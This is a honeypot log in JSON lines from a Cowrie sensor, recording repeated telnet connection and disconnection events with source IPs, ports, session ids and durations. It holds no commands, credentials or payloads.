{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47060,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e53ac727516","protocol":"telnet","message":"New connection: 50.6.18.72:47060 (159.203.135.109:23) [session: 6e53ac727516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.056341Z"}
{"eventid":"cowrie.session.closed","duration":33.05836343765259,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.200284Z","src_ip":"50.6.18.72","session":"7f3eba9e221d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43984,"dst_ip":"159.203.135.109","dst_port":23,"session":"3faf63b0f335","protocol":"telnet","message":"New connection: 50.6.18.72:43984 (159.203.135.109:23) [session: 3faf63b0f335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.330664Z"}
{"eventid":"cowrie.session.closed","duration":31.63094711303711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.405282Z","src_ip":"50.6.18.72","session":"c9d81b489662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626745223999023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.615719Z","src_ip":"50.6.18.72","session":"4c871cd64a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47062,"dst_ip":"159.203.135.109","dst_port":23,"session":"848c6eba3d73","protocol":"telnet","message":"New connection: 50.6.18.72:47062 (159.203.135.109:23) [session: 848c6eba3d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:16.992562Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"3344538de6ab","protocol":"telnet","message":"New connection: 50.6.18.72:47078 (159.203.135.109:23) [session: 3344538de6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:17.094947Z"}
{"eventid":"cowrie.session.closed","duration":30.544323205947876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:17.582396Z","src_ip":"50.6.18.72","session":"792da624b98e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76933479309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:17.622213Z","src_ip":"50.6.18.72","session":"490d94483321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.52085304260254,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:17.694666Z","src_ip":"45.58.127.90","session":"62d7d7dc4382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"436d59d5dc46","protocol":"telnet","message":"New connection: 50.6.18.72:47088 (159.203.135.109:23) [session: 436d59d5dc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.211286Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47090,"dst_ip":"159.203.135.109","dst_port":23,"session":"53f2b3ba32e0","protocol":"telnet","message":"New connection: 50.6.18.72:47090 (159.203.135.109:23) [session: 53f2b3ba32e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.241266Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47104,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3d94ec3a4cf","protocol":"telnet","message":"New connection: 50.6.18.72:47104 (159.203.135.109:23) [session: c3d94ec3a4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.320580Z"}
{"eventid":"cowrie.session.closed","duration":31.3104248046875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.443753Z","src_ip":"50.6.18.72","session":"97012eddfc02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47120,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da0ee6ef5b4","protocol":"telnet","message":"New connection: 50.6.18.72:47120 (159.203.135.109:23) [session: 8da0ee6ef5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.450678Z"}
{"eventid":"cowrie.session.closed","duration":31.108110904693604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.508695Z","src_ip":"50.6.18.72","session":"6b10f55cd300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02512288093567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.527400Z","src_ip":"50.6.18.72","session":"31f77baec3e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.58889865875244,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.756917Z","src_ip":"45.58.127.90","session":"6a7ca9ab5f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"eedb4571d9c8","protocol":"telnet","message":"New connection: 50.6.18.72:47122 (159.203.135.109:23) [session: eedb4571d9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:18.874882Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47150,"dst_ip":"159.203.135.109","dst_port":23,"session":"951fca28393f","protocol":"telnet","message":"New connection: 50.6.18.72:47150 (159.203.135.109:23) [session: 951fca28393f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:19.376658Z"}
{"eventid":"cowrie.session.closed","duration":31.034265756607056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:19.586071Z","src_ip":"50.6.18.72","session":"e71c217def3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.28929543495178,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:19.724829Z","src_ip":"45.58.127.90","session":"aac1cda9a117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47164,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f692b3bef5a","protocol":"telnet","message":"New connection: 50.6.18.72:47164 (159.203.135.109:23) [session: 6f692b3bef5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:19.871342Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47138,"dst_ip":"159.203.135.109","dst_port":23,"session":"4864ec00c6f6","protocol":"telnet","message":"New connection: 50.6.18.72:47138 (159.203.135.109:23) [session: 4864ec00c6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:19.939782Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47178,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc90446f974c","protocol":"telnet","message":"New connection: 50.6.18.72:47178 (159.203.135.109:23) [session: dc90446f974c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.014381Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47190,"dst_ip":"159.203.135.109","dst_port":23,"session":"5751dd756cf6","protocol":"telnet","message":"New connection: 50.6.18.72:47190 (159.203.135.109:23) [session: 5751dd756cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.097119Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47204,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d0e389a59d","protocol":"telnet","message":"New connection: 50.6.18.72:47204 (159.203.135.109:23) [session: 08d0e389a59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.220414Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47210,"dst_ip":"159.203.135.109","dst_port":23,"session":"e547a074c073","protocol":"telnet","message":"New connection: 50.6.18.72:47210 (159.203.135.109:23) [session: e547a074c073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.241445Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47162,"dst_ip":"159.203.135.109","dst_port":23,"session":"f36680604138","protocol":"telnet","message":"New connection: 50.6.18.72:47162 (159.203.135.109:23) [session: f36680604138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.550547Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47222,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d6199bcc065","protocol":"telnet","message":"New connection: 50.6.18.72:47222 (159.203.135.109:23) [session: 2d6199bcc065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.773328Z"}
{"eventid":"cowrie.session.closed","duration":31.06784439086914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.964843Z","src_ip":"50.6.18.72","session":"f3a81887ca04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65849208831787,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:20.990430Z","src_ip":"50.6.18.72","session":"39bd25df206f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47086,"dst_ip":"159.203.135.109","dst_port":23,"session":"3edffc5a516a","protocol":"telnet","message":"New connection: 50.6.18.72:47086 (159.203.135.109:23) [session: 3edffc5a516a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.062621Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47230,"dst_ip":"159.203.135.109","dst_port":23,"session":"df482b32cce3","protocol":"telnet","message":"New connection: 50.6.18.72:47230 (159.203.135.109:23) [session: df482b32cce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.083272Z"}
{"eventid":"cowrie.session.closed","duration":31.10902166366577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.283727Z","src_ip":"50.6.18.72","session":"0fd8c857ee4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47232,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e02b2a5c9f","protocol":"telnet","message":"New connection: 50.6.18.72:47232 (159.203.135.109:23) [session: 52e02b2a5c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.422622Z"}
{"eventid":"cowrie.session.closed","duration":30.843936920166016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.534356Z","src_ip":"50.6.18.72","session":"2089d160fd12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47248,"dst_ip":"159.203.135.109","dst_port":23,"session":"6093104e6469","protocol":"telnet","message":"New connection: 50.6.18.72:47248 (159.203.135.109:23) [session: 6093104e6469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.822484Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47238,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff960b1f6d26","protocol":"telnet","message":"New connection: 50.6.18.72:47238 (159.203.135.109:23) [session: ff960b1f6d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:21.826969Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47260,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaad2b34afb5","protocol":"telnet","message":"New connection: 50.6.18.72:47260 (159.203.135.109:23) [session: eaad2b34afb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:22.246604Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47270,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be50a2cc3c9","protocol":"telnet","message":"New connection: 50.6.18.72:47270 (159.203.135.109:23) [session: 1be50a2cc3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:22.390067Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47274,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a85998f6656","protocol":"telnet","message":"New connection: 50.6.18.72:47274 (159.203.135.109:23) [session: 9a85998f6656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:22.403979Z"}
{"eventid":"cowrie.session.closed","duration":30.488143920898438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:22.556676Z","src_ip":"50.6.18.72","session":"9c9a660b9b0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054816484451294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:22.563454Z","src_ip":"50.6.18.72","session":"3be44ea53299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56890368461609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:22.642068Z","src_ip":"50.6.18.72","session":"6bb24effa8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47284,"dst_ip":"159.203.135.109","dst_port":23,"session":"321d34accb0f","protocol":"telnet","message":"New connection: 50.6.18.72:47284 (159.203.135.109:23) [session: 321d34accb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.022060Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47300,"dst_ip":"159.203.135.109","dst_port":23,"session":"5437a63f4b8e","protocol":"telnet","message":"New connection: 50.6.18.72:47300 (159.203.135.109:23) [session: 5437a63f4b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.115491Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47304,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6290ce9caa","protocol":"telnet","message":"New connection: 50.6.18.72:47304 (159.203.135.109:23) [session: fe6290ce9caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.336174Z"}
{"eventid":"cowrie.session.closed","duration":31.519827365875244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.360826Z","src_ip":"50.6.18.72","session":"d22506d32a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47318,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c3b001791ed","protocol":"telnet","message":"New connection: 50.6.18.72:47318 (159.203.135.109:23) [session: 9c3b001791ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.628461Z"}
{"eventid":"cowrie.session.closed","duration":30.759451389312744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.661320Z","src_ip":"50.6.18.72","session":"91dc6419f1a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474918842315674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:23.714028Z","src_ip":"50.6.18.72","session":"073b9b0b6db5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42840,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88423129e3f","protocol":"telnet","message":"New connection: 45.58.127.90:42840 (10.17.0.5:23) [session: a88423129e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:24.085206Z"}
{"eventid":"cowrie.session.closed","duration":30.86449956893921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:24.530731Z","src_ip":"50.6.18.72","session":"30835766a87c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47356,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dc6111dff45","protocol":"telnet","message":"New connection: 50.6.18.72:47356 (159.203.135.109:23) [session: 6dc6111dff45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:24.642634Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47368,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8535751c9c4","protocol":"telnet","message":"New connection: 50.6.18.72:47368 (159.203.135.109:23) [session: f8535751c9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:24.730869Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47386,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dd8c823ab9e","protocol":"telnet","message":"New connection: 50.6.18.72:47386 (159.203.135.109:23) [session: 8dd8c823ab9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:24.877334Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47334,"dst_ip":"159.203.135.109","dst_port":23,"session":"0580af293948","protocol":"telnet","message":"New connection: 50.6.18.72:47334 (159.203.135.109:23) [session: 0580af293948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:24.934690Z"}
{"eventid":"cowrie.session.closed","duration":30.662220001220703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.056617Z","src_ip":"50.6.18.72","session":"d1fe81365ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47350,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b65f462e5f","protocol":"telnet","message":"New connection: 50.6.18.72:47350 (159.203.135.109:23) [session: 71b65f462e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.186944Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47408,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef2131a27d4","protocol":"telnet","message":"New connection: 50.6.18.72:47408 (159.203.135.109:23) [session: cef2131a27d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.370293Z"}
{"eventid":"cowrie.session.closed","duration":30.359766006469727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.539093Z","src_ip":"50.6.18.72","session":"36f2c5a3687a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59466,"dst_ip":"159.203.135.109","dst_port":23,"session":"7897699d9670","protocol":"telnet","message":"New connection: 50.6.18.72:59466 (159.203.135.109:23) [session: 7897699d9670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.890322Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59472,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0dfa2ba48ca","protocol":"telnet","message":"New connection: 50.6.18.72:59472 (159.203.135.109:23) [session: d0dfa2ba48ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.940278Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b046d94a28da","protocol":"telnet","message":"New connection: 50.6.18.72:59478 (159.203.135.109:23) [session: b046d94a28da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.961207Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59494,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e815b59a42","protocol":"telnet","message":"New connection: 50.6.18.72:59494 (159.203.135.109:23) [session: 41e815b59a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.965343Z"}
{"eventid":"cowrie.session.closed","duration":31.42021942138672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:25.982642Z","src_ip":"50.6.18.72","session":"db4b33989fd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59506,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1816315a02","protocol":"telnet","message":"New connection: 50.6.18.72:59506 (159.203.135.109:23) [session: ff1816315a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:26.214243Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47394,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4bef827f487","protocol":"telnet","message":"New connection: 50.6.18.72:47394 (159.203.135.109:23) [session: d4bef827f487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:26.313378Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47398,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2873080fbb6","protocol":"telnet","message":"New connection: 50.6.18.72:47398 (159.203.135.109:23) [session: a2873080fbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:26.339200Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55738,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2d3a2157e6","protocol":"telnet","message":"New connection: 69.162.99.242:55738 (159.203.135.109:23) [session: 3d2d3a2157e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:26.430300Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59520,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e87f23d365e","protocol":"telnet","message":"New connection: 50.6.18.72:59520 (159.203.135.109:23) [session: 4e87f23d365e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:26.533767Z"}
{"eventid":"cowrie.session.closed","duration":30.81405806541443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:26.789348Z","src_ip":"50.6.18.72","session":"c7b3d3b40216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59526,"dst_ip":"159.203.135.109","dst_port":23,"session":"628f8006d375","protocol":"telnet","message":"New connection: 50.6.18.72:59526 (159.203.135.109:23) [session: 628f8006d375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:27.024343Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59500,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a817f7a4c67","protocol":"telnet","message":"New connection: 50.6.18.72:59500 (159.203.135.109:23) [session: 6a817f7a4c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:27.042042Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59540,"dst_ip":"159.203.135.109","dst_port":23,"session":"febff47b5036","protocol":"telnet","message":"New connection: 50.6.18.72:59540 (159.203.135.109:23) [session: febff47b5036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:27.413893Z"}
{"eventid":"cowrie.session.closed","duration":31.040847301483154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:28.185513Z","src_ip":"50.6.18.72","session":"95e72bc040dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58089828491211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:28.590340Z","src_ip":"50.6.18.72","session":"5af1430001b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b83d8380f092","protocol":"telnet","message":"New connection: 50.6.18.72:59562 (159.203.135.109:23) [session: b83d8380f092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:28.656991Z"}
